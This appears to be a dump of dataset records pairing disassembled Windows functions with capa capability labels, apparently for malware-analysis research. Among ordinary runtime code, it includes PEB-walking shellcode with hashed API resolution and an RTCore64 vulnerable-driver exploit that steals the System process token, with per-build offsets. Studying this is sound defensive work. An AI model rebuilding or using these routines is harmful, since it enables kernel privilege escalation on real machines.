joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400fe2a0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x1400fe2ad
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x1400fe2bd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x1400fe2a5
lea eax, [rcx + 1]
jmp 0x1400fe2cb
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x1400fe2de
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x1400fe2c4
sub eax, 3
jb 0x1400fe2fe
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x1400fe34d
sar eax, 1
movsxd rbp, eax
jb 0x1400fe334
jmp 0x1400fe30c
add ebx, ebx
jne 0x1400fe30a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1400fe334
inc ecx
add ebx, ebx
jne 0x1400fe31a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1400fe334
call r11
adc ecx, ecx
add ebx, ebx
jne 0x1400fe32d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x1400fe31c
add ecx, 2
jmp 0x1400fe339
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.1400fe262
jmp 0x1400fe2ad
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0xdc200
mov dl, 0x14
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x1400fe399
cmp rsi, rcx
jae 0x1400fe3a1
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x1400fe380
cmp al, 0x8f
ja 0x1400fe380
cmp byte [rsi - 2], 0xf
je 0x1400fe386
sub al, 0xe8
cmp al, 1
ja 0x1400fe36a
cmp rsi, rcx
jae 0x1400fe3a1
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x1400fe370
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x1400fe3a1
lodsb al, byte [rsi]
jmp 0x1400fe380
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0xfb000]
mov eax, dword [rdi]
or eax, eax
je 0x1400fe3fe
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x109678]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x1400fe3ae
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x1400fe3f8
mov qword [rbx], rax
add rbx, 8
jmp 0x1400fe3ce
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x1400fe438
cmp al, 0xef
ja 0x1400fe42a
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x1400fe40a
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x1400fe419
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x23f]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x1400fe48c
sub rsp, 0xffffffffffffff80
jmp 0x14005df0c
Function at 0x14000f890
Capabilities:
Write file on windows

Disassembly:
test rcx, rcx
je 0x14000f9a2
mov rax, rsp
push rsi
push rdi
push r14
sub rsp, 0x50
mov qword [rax - 0x28], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov rsi, rdx
mov r14, rcx
and qword [rax - 0x38], 0
mov dword [rax - 0x40], 0x80
mov dword [rax - 0x48], 2
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r9 + 1]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateFileW]
nop dword [rax + rax]
mov rbx, rax
mov qword [rsp + 0x80], rax
cmp rax, 0xffffffffffffffff
jne 0x14000f917
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax + rax]
movzx ecx, ax
or ecx, 0x80070000
test eax, eax
cmovle ecx, eax
mov rdx, rsi
call fcn.14000f544
mov rax, qword [r14]
mov rcx, r14
mov rax, qword [rax + 0x20]
call qword [0x14001bf80]
mov rdi, rax
mov rcx, qword [r14]
mov rax, qword [rcx + 0x18]
mov rcx, r14
call qword [0x14001bf80]
mov rdx, rax
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x70]
mov r8d, edi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
nop dword [rax + rax]
test eax, eax
jne 0x14000f981
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax + rax]
movzx ecx, ax
or ecx, 0x80070000
test eax, eax
cmovle ecx, eax
mov rdx, rsi
call fcn.14000f544
nop
test rbx, rbx
je 0x14000f995
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop dword [rax + rax]
mov rbx, qword [rsp + 0x78]
add rsp, 0x50
pop r14
pop rdi
pop rsi
ret

Function at 0x1400171a4
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x140027290], eax
call fcn.140016ef0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140027290], 0
jne case.default.0x1400171fa
mov ecx, 1
call fcn.140016ef0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]
cmp dword [rdi - 0x80], esi
leave
mov al, 0x5a
sbb al, 0x15
invalid
Function at 0x140001000
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x70
lea rcx, str._JAVA_LAUNCHER_DEBUG
call qword [sym.imp.MSVCR100.dll_getenv]
test rax, rax
je 0x140001066
lea rcx, str.Windows_original_main_args:_n
call qword [sym.imp.MSVCR100.dll_printf]
mov rax, qword [sym.imp.MSVCR100.dll___argc]
xor ebx, ebx
cmp dword [rax], ebx
jle 0x140001066
xor edi, edi
mov rax, qword [sym.imp.MSVCR100.dll___argv]
lea rcx, str.wwwd_args__d____s_n
mov edx, ebx
mov r8, qword [rax]
mov r8, qword [r8 + rdi]
call qword [sym.imp.MSVCR100.dll_printf]
mov rax, qword [sym.imp.MSVCR100.dll___argc]
inc ebx
add rdi, 8
cmp ebx, dword [rax]
jl 0x140001038
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rcx, rax
call sub.jli.dll_JLI_CmdToArgs
call sub.jli.dll_JLI_GetStdArgc
movsxd rdi, eax
lea ecx, [rdi + 1]
movsxd rcx, ecx
shl rcx, 3
call sub.jli.dll_JLI_MemAlloc
mov rbx, rax
call sub.jli.dll_JLI_GetStdArgs
xor r9d, r9d
xor edx, edx
test edi, edi
jle 0x1400010b2
mov r9d, edi
mov rcx, qword [rax]
add rax, 0x10
mov qword [rbx + rdx*8], rcx
inc rdx
cmp rdx, rdi
jl 0x14000109f
mov rcx, qword [str.java]
movsxd rax, r9d
and qword [rbx + rax*8], 0
test rcx, rcx
jne 0x1400010c9
mov rcx, qword [rbx]
mov rax, qword [str.java]
test rax, rax
jne 0x1400010d8
mov rax, qword [rbx]
and dword [rsp + 0x68], 0
mov byte [rsp + 0x60], 0
mov byte [rsp + 0x58], 0
mov byte [rsp + 0x50], 1
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x40], rax
lea rax, [0x140002250]
mov r8d, 2
lea r9, str._J_ms8m
mov qword [rsp + 0x38], rax
lea rax, [0x140002240]
mov rdx, rbx
mov qword [rsp + 0x30], rax
lea rax, str._lib_tools.jar
mov ecx, edi
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r8d
call sub.jli.dll_JLI_Launch
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rdi
ret

Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d6
push r9
push r8
push rdx
push rcx
push rsi
xor rdx, rdx
mov rdx, qword gs:[rdx + 0x60]
mov rdx, qword [rdx + 0x18]
mov rdx, qword [rdx + 0x20]
xor r9, r9
movzx rcx, word [rdx + 0x4a]
mov rsi, qword [rdx + 0x50]
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140004037
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14000402d
push rdx
push r9
mov rdx, qword [rdx + 0x20]
mov eax, dword [rdx + 0x3c]
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x1400040cb
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040cb
add rax, rdx
push rax
mov r8d, dword [rax + 0x20]
mov ecx, dword [rax + 0x18]
add r8, rdx
jrcxz 0x1400040ca
xor r9, r9
dec rcx
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor rax, rax
lodsb al, byte [rsi]
ror r9d, 0xd
add r9d, eax
cmp al, ah
jne 0x140004081
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004072
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
pop r8
add rax, rdx
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004021
Function at 0x408f00
Capabilities:
Hide graphical window

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0xf0
mov qword [rsp + 0xe0], 0xfffffffffffffffe
mov esi, r9d
mov rdi, rcx
mov dword [rsp + 0x60], 0x50
mov dword [rsp + 0x64], 3
lea rax, [0x00409198]
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x70], 0
mov dword [rsp + 0x74], 0
mov qword [rsp + 0x78], rcx
mov edx, 0x6b
call qword [sym.imp.USER32.dll_LoadIconW]
mov qword [rsp + 0x80], rax
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorW]
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], 6
lea rbx, [0x0041d310]
mov qword [rsp + 0xa0], rbx
lea rcx, [rsp + 0x60]
call qword [sym.imp.USER32.dll_RegisterClassExW]
lea rcx, [rsp + 0x60]
call fcn.00401044
cmp qword [rax + 0x20], 0x10
jb 0x408fb3
mov rcx, qword [rax + 8]
jmp 0x408fb7
lea rcx, [rax + 8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x0041d210], rax
cmp qword [rsp + 0x80], 0x10
jb 0x408fd9
mov rcx, qword [rsp + 0x68]
call fcn.0040a420
lea rcx, [rsp + 0x60]
call fcn.00407548
cmp qword [rax + 0x20], 0x10
jb 0x408ff0
mov rcx, qword [rax + 8]
jmp 0x408ff4
lea rcx, [rax + 8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x0041d308], rax
cmp qword [rsp + 0x80], 0x10
jb 0x409016
mov rcx, qword [rsp + 0x68]
call fcn.0040a420
mov qword [0x0041d218], rdi
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0x80000080
lea r8, [0x0041d220]
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rbx, rax
mov edx, esi
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, rbx
call qword [sym.imp.USER32.dll_UpdateWindow]
call fcn.00408ba8
lea rcx, [rsp + 0x60]
call fcn.00407de0
nop
cmp qword [rax + 0x20], 0x10
jb 0x4090a9
mov rdx, qword [rax + 8]
jmp 0x4090ad
lea rdx, [rax + 8]
mov rcx, qword [0x0041d210]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r8d, r8d
mov edx, 0x800
mov rcx, qword [0x0041d300]
call rax
nop
cmp qword [rsp + 0x80], 0x10
jb 0x4090e1
mov rcx, qword [rsp + 0x68]
call fcn.0040a420
mov edx, 0x6d
mov rcx, rdi
call qword [sym.imp.USER32.dll_LoadAcceleratorsW]
mov rbx, rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0xb0]
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x40915f
lea r8, [rsp + 0xb0]
mov rdx, rbx
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.USER32.dll_TranslateAcceleratorW]
test eax, eax
jne 0x409145
lea rcx, [rsp + 0xb0]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0xb0]
call qword [sym.imp.USER32.dll_DispatchMessageW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0xb0]
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jne 0x40910c
mov eax, dword [rsp + 0xc0]
add rsp, 0xf0
pop rdi
pop rsi
pop rbx
ret
Function at 0x40a9d7
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x0041b048]
jne 0x409d3a
rol rcx, 0x10
test cx, 0xffff
jne 0x409d36
repz ret
ror rcx, 0x10
jmp 0x40a930
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x0041c320]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x0041c418]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x40a9b5
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x0041c320]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x40a9d7
mov rax, qword [rsp + 0x88]
mov qword [0x0041c418], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x0041c3b8], rax
mov rax, qword [0x0041c418]
mov qword [0x0041c290], rax
mov rax, qword [rsp + 0x90]
mov qword [0x0041c3a0], rax
mov dword [0x0041c280], 0xc0000409
mov dword [0x0041c284], 1
mov rax, qword [0x0041b048]
mov qword [rsp + 0x68], rax
mov rax, qword [0x0041b050]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x0041c318], eax
mov ecx, 1
call fcn.0040d2e0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x00414368]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x0041c318], 0
jne 0x40aa5e
mov ecx, 1
call fcn.0040d2e0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x40df10
Capabilities:
Link many functions at runtime

Disassembly:
mov rax, rsp
sub rsp, 0x68
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov qword [rax - 8], r12
mov qword [rax - 0x10], r13
mov r13, rcx
mov edi, r8d
mov r12, rdx
call fcn.0040cc50
xor ebx, ebx
cmp qword [0x0041d0d0], rbx
mov rsi, rax
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x34], ebx
jne 0x40e041
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
mov rbp, rax
jne 0x40df73
xor eax, eax
jmp 0x40e121
lea rdx, str.MessageBoxA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x40df6c
mov rcx, rax
call fcn.0040cbe0
lea rdx, str.GetActiveWindow
mov rcx, rbp
mov qword [0x0041d0d0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.0040cbe0
lea rdx, str.GetLastActivePopup
mov rcx, rbp
mov qword [0x0041d0d8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.0040cbe0
lea rcx, [rsp + 0x30]
mov qword [0x0041d0e0], rax
call fcn.0040b3d0
test eax, eax
je 0x40dff7
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call fcn.0040aa90
cmp dword [rsp + 0x30], 2
jne 0x40e041
lea rdx, str.GetUserObjectInformationA
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.0040cbe0
test rax, rax
mov qword [0x0041d0f0], rax
je 0x40e041
lea rdx, str.GetProcessWindowStation
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.0040cbe0
mov qword [0x0041d0e8], rax
mov rcx, qword [0x0041d0e8]
cmp rcx, rsi
je 0x40e0d3
cmp qword [0x0041d0f0], rsi
je 0x40e0d3
call fcn.0040ccb0
call rax
test rax, rax
mov rbp, rax
je 0x40e09e
mov rcx, qword [0x0041d0f0]
call fcn.0040ccb0
lea rcx, [rsp + 0x38]
mov r9d, 0xc
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
lea r8, [rsp + 0x40]
mov rcx, rbp
call rax
test eax, eax
je 0x40e09e
test byte [rsp + 0x48], 1
jne 0x40e0d3
lea rcx, [rsp + 0x34]
call fcn.0040b420
test eax, eax
je 0x40e0c0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call fcn.0040aa90
cmp dword [rsp + 0x34], 4
jb 0x40e0cd
bts edi, 0x15
jmp 0x40e107
bts edi, 0x12
jmp 0x40e107
mov rcx, qword [0x0041d0d8]
cmp rcx, rsi
je 0x40e107
call fcn.0040ccb0
call rax
test rax, rax
mov rbx, rax
je 0x40e107
mov rcx, qword [0x0041d0e0]
cmp rcx, rsi
je 0x40e107
call fcn.0040ccb0
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x0041d0d0]
call fcn.0040ccb0
mov r9d, edi
mov r8, r12
mov rdx, r13
mov rcx, rbx
call rax
mov r13, qword [rsp + 0x58]
mov r12, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x80]
mov rbp, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x70]
add rsp, 0x68
ret
Function at 0x140001be0
Capabilities:
Load ntoskrnl
Resolve ntoskrnl gadgets

Disassembly:
push rbp
push r13
push r14
sub rsp, 0x90
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x78], rax
xor eax, eax
mov r14d, ecx
mov qword [rsp + 0x30], rax
lea rcx, str..RTCore64
mov r13, rdx
mov dword [rsp + 0x28], eax
xor r9d, r9d
mov dword [rsp + 0x20], 3
xor r8d, r8d
mov edx, 0xc0000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbp, rax
cmp rax, 0xffffffffffffffff
jne 0x140001c47
lea rcx, str.____Unable_to_obtain_a_handle_to_the_device_object
call fcn.140001b00
jmp 0x140001e08
mov qword [rsp + 0xb0], rbx
lea rcx, str.___Device_object_handle_has_been_obtained
mov qword [rsp + 0xc0], rsi
mov qword [rsp + 0xc8], rdi
mov qword [rsp + 0x88], r12
mov qword [rsp + 0x80], r15
call fcn.140001b00
call fcn.140001b60
mov rdx, rax
lea rcx, str.___Ntoskrnl_base_address:__p
mov rsi, rax
call fcn.140001b00
lea rcx, [0x140004f20]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.PsInitialSystemProcess
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
mov rcx, rdi
sub rbx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
add rbx, rsi
mov rcx, rbp
lea rdx, [rbx + 4]
call fcn.140001700
mov edi, eax
mov rdx, rbx
mov rcx, rbp
shl rdi, 0x20
call fcn.140001700
mov ebx, eax
lea rcx, str.___PsInitialSystemProcess_address:__p
or rbx, rdi
mov rdx, rbx
call fcn.140001b00
mov rax, qword [r13 + 8]
mov r12, r14
mov r14, qword [r13]
sub r14, rax
lea r15, [rax + rbx]
mov rbx, r15
nop word [rax + rax]
lea rdi, [r14 + rbx]
mov rcx, rbp
lea rdx, [rdi + 4]
call fcn.140001700
mov esi, eax
mov rdx, rdi
mov rcx, rbp
shl rsi, 0x20
call fcn.140001700
mov eax, eax
or rax, rsi
cmp rax, r12
je 0x140001d62
lea rdx, [rbx + 4]
mov rcx, rbp
call fcn.140001700
mov edi, eax
mov rdx, rbx
mov rcx, rbp
shl rdi, 0x20
call fcn.140001700
mov ebx, eax
or rbx, rdi
cmp rbx, r15
jne 0x140001d10
sub rbx, qword [r13 + 8]
lea rcx, str.___Current_process_address:__p
mov rdx, rbx
call fcn.140001b00
mov rcx, qword [r13 + 0x18]
lea rax, [rsp + 0x40]
xor edx, edx
mov qword [rsp + 0x60], 4
mov qword [rsp + 0x38], rdx
lea r8, [rsp + 0x48]
mov qword [rsp + 0x30], rax
add rcx, rbx
mov qword [rsp + 0x48], rdx
lea rax, [rsp + 0x48]
lea r9d, [rdx + 0x30]
mov qword [rsp + 0x58], rdx
xorps xmm0, xmm0
mov qword [rsp + 0x50], rcx
mov edx, 0x8000204c
mov dword [rsp + 0x28], 0x30
mov rcx, rbp
mov qword [rsp + 0x20], rax
movdqu xmmword [rsp + 0x68], xmm0
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r15, qword [rsp + 0x80]
mov r12, qword [rsp + 0x88]
mov rdi, qword [rsp + 0xc8]
mov rsi, qword [rsp + 0xc0]
mov rbx, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140002ad0
add rsp, 0x90
pop r14
pop r13
pop rbp
ret
Function at 0x140001e30
Capabilities:
Load ntoskrnl
Resolve ntoskrnl gadgets

Disassembly:
push rbp
push r14
push r15
sub rsp, 0x60
xor eax, eax
mov r14d, ecx
mov qword [rsp + 0x30], rax
lea rcx, str..RTCore64
mov r15, rdx
mov dword [rsp + 0x28], eax
xor r9d, r9d
mov dword [rsp + 0x20], 3
xor r8d, r8d
mov edx, 0xc0000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbp, rax
cmp rax, 0xffffffffffffffff
jne 0x140001e8a
lea rcx, str.____Unable_to_obtain_a_handle_to_the_device_object
call fcn.140001b00
add rsp, 0x60
pop r15
pop r14
pop rbp
ret
mov qword [rsp + 0x80], rbx
lea rcx, str.___Device_object_handle_has_been_obtained
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], r13
call fcn.140001b00
call fcn.140001b60
mov rdx, rax
lea rcx, str.___Ntoskrnl_base_address:__p
mov rsi, rax
call fcn.140001b00
lea rcx, [0x140004f20]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.PsInitialSystemProcess
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
mov rcx, rdi
sub rbx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
add rbx, rsi
mov rcx, rbp
lea rdx, [rbx + 4]
call fcn.140001700
mov edi, eax
mov rdx, rbx
mov rcx, rbp
shl rdi, 0x20
call fcn.140001700
mov esi, eax
lea rcx, str.___PsInitialSystemProcess_address:__p
or rsi, rdi
mov rdx, rsi
call fcn.140001b00
mov rbx, qword [r15 + 0x10]
mov rcx, rbp
add rbx, rsi
lea rdx, [rbx + 4]
call fcn.140001700
mov edi, eax
mov rdx, rbx
mov rcx, rbp
shl rdi, 0x20
call fcn.140001700
mov r12d, eax
lea rcx, str.___System_process_token:__p
or r12, rdi
mov rdx, r12
mov qword [rsp + 0x98], r12
and rdx, 0xfffffffffffffff0
call fcn.140001b00
mov r13, qword [r15 + 8]
mov r12, r14
add r13, rsi
mov rbx, r13
nop
mov rdi, qword [r15]
mov r14, rbx
sub r14, qword [r15 + 8]
mov rcx, rbp
add rdi, r14
lea rdx, [rdi + 4]
call fcn.140001700
mov esi, eax
mov rdx, rdi
mov rcx, rbp
shl rsi, 0x20
call fcn.140001700
mov eax, eax
or rax, rsi
cmp rax, r12
je 0x140001fe2
mov rbx, qword [r15 + 8]
mov rcx, rbp
add rbx, r14
lea rdx, [rbx + 4]
call fcn.140001700
mov edi, eax
mov rdx, rbx
mov rcx, rbp
shl rdi, 0x20
call fcn.140001700
mov ebx, eax
or rbx, rdi
cmp rbx, r13
jne 0x140001f80
sub rbx, qword [r15 + 8]
lea rcx, str.___Current_process_address:__p
mov rdx, rbx
call fcn.140001b00
mov rdi, qword [r15 + 0x10]
mov rcx, rbp
add rdi, rbx
lea rdx, [rdi + 4]
call fcn.140001700
mov esi, eax
mov rdx, rdi
mov rcx, rbp
shl rsi, 0x20
call fcn.140001700
mov edi, eax
lea rcx, str.___Current_process_token:__p
or rdi, rsi
mov rdx, rdi
and rdx, 0xfffffffffffffff0
call fcn.140001b00
lea rcx, str.___Stealing_System_process_token_...
call fcn.140001b00
add rbx, qword [r15 + 0x10]
mov rcx, rbp
mov r12, qword [rsp + 0x98]
mov r8, rbx
xor r12, rdi
and r12, 0xfffffffffffffff0
xor r12, rdi
mov r9d, r12d
call fcn.140001670
shr r12, 0x20
lea r8, [rbx + 4]
mov r9d, r12d
mov rcx, rbp
call fcn.140001670
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r13, qword [rsp + 0x40]
mov r12, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x80]
add rsp, 0x60
pop r15
pop r14
pop rbp
ret
Function at 0x1400020b0
Capabilities:
Query or enumerate registry value
Terminate process

Disassembly:
push rbx
sub rsp, 0x260
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov rbx, rcx
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0x1fe
call sub.VCRUNTIME140.dll_memset
lea rax, [rsp + 0x40]
mov dword [rsp + 0x40], 0xff
mov qword [rsp + 0x30], rax
lea r8, str.ReleaseId
lea rax, [rsp + 0x50]
mov r9d, 2
mov qword [rsp + 0x28], rax
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_RegGetValueW]
lea rdx, [rsp + 0x50]
lea rcx, str.___Windows_Version__s_Found_n
call fcn.140001010
lea rcx, [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll__wtoi]
mov edx, eax
cmp eax, 0x76f
jg 0x140002199
je 0x1400021e4
sub edx, 0x647
je 0x140002187
sub edx, 0xc4
je 0x140002166
cmp edx, 6
jne 0x1400021ab
mov qword [rbx], 0x2e0
mov qword [rbx + 8], 0x2e8
mov qword [rbx + 0x10], 0x358
mov qword [rbx + 0x18], 0x6c8
jmp 0x140002203
mov qword [rbx + 0x10], 0x358
mov qword [rbx + 0x18], 0x6c8
jmp 0x1400021f4
sub edx, 0x775
je 0x1400021e4
sub edx, 0x5f
je 0x1400021c3
cmp edx, 5
je 0x1400021c3
lea rcx, str.____Version_Offsets_Not_Found__n
call fcn.140001010
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov qword [rbx], 0x440
mov qword [rbx + 8], 0x448
mov qword [rbx + 0x10], 0x4b8
mov qword [rbx + 0x18], 0x878
jmp 0x140002203
mov qword [rbx + 0x10], 0x360
mov qword [rbx + 0x18], 0x6f8
mov qword [rbx + 8], 0x2f0
mov qword [rbx], 0x2e8
mov rax, rbx
